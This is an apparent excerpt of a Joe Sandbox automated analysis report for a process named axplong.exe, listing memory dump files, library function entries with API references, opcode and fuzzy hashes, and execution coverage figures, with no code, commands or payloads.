Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: da3184ca91c4487d94a42b76056f986c45be158c93a43ac87bae660f030d785b
Instruction ID: f840145ac6f1e9b1f8eb9fb104a4088243594ac634529d59fb51109788ef4c5a
Opcode Fuzzy Hash: da3184ca91c4487d94a42b76056f986c45be158c93a43ac87bae660f030d785b
Instruction Fuzzy Hash: 5FF08271D1124D9BCB14DFA8D841A9EBBF6AF55304F1082AEE44467200EA705A94CB99

Function 00692E40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00692E50
__Cnd_destroy_in_situ.LIBCPMT ref: 00692E59

Strings

@.i, xrefs: 00692E49

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: @.i
API String ID: 1432671424-2964489218
Opcode ID: 302e7b629f722b89733459adfc4bd260d9c787f5f09187c7d727ee6776dca357
Instruction ID: 5c291627bdf04d9e4338ddad54ae6d51d2379b8b7c0ce7cac9fde99e32c01773
Opcode Fuzzy Hash: 302e7b629f722b89733459adfc4bd260d9c787f5f09187c7d727ee6776dca357
Instruction Fuzzy Hash: 63E026B2C4231866C310BFA48C01E97BFCE9F17311F40043EF98196702EBB1A9544BE4

Function 006924A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 006924BE

Strings

P#i, xrefs: 006924C6
P#i, xrefs: 006924AD

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: 7ec515736335ee17836d75c97c4a53fd297548e2cf32e580ab06991359e90f6f
Instruction ID: bfc4066efb3d682f7466ccf0bd199501325a8bc4fcd2a5af282e092047944943
Opcode Fuzzy Hash: 7ec515736335ee17836d75c97c4a53fd297548e2cf32e580ab06991359e90f6f
Instruction Fuzzy Hash: B9D017B2A203595BD610AF99D801982BBDDDE1A664714862AF654E7300F6B0E9908FA8

Function 00692580 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0069259E

Strings

P#i, xrefs: 006925A6
P#i, xrefs: 0069258D

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: 20259a3c1f1780ffc87db7a8f7203c6efdb4a366185b1476eace3aac8649f9be
Instruction ID: c7345f171bb9008d82b6823ae24c535398e4de45ca88043270a7bd9d431b1a7e
Opcode Fuzzy Hash: 20259a3c1f1780ffc87db7a8f7203c6efdb4a366185b1476eace3aac8649f9be
Instruction Fuzzy Hash: 6DD0C2B29203555BD6009F99C800942BBDDDE16210700852AF144E7200F2B0E8908BE4

Function 00692E10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00692E1D
__Cnd_destroy_in_situ.LIBCPMT ref: 00692E26

Strings

@.i, xrefs: 00692E16

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: @.i
API String ID: 1432671424-2964489218
Opcode ID: 93b2c16cd95e5253eb68022fbbd387c5461fbacca5e33527347e362645fdca54
Instruction ID: 0e27dcadc62a7fe6910adfd197f53cd6aaa9c28a413c100d5be33ea7be94a535
Opcode Fuzzy Hash: 93b2c16cd95e5253eb68022fbbd387c5461fbacca5e33527347e362645fdca54
Instruction Fuzzy Hash: 39D012B6C037514BC760FF65A801C877BDEAE0A3203910D6EF4D197601EBB0B9848F54

Analysis Process: axplong.exePID: 5832, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1952
Total number of Limit Nodes:	11

Executed Functions

Function 006C645B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,006C645A,?,?,?,?,?,006C74AE), ref: 006C6496

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
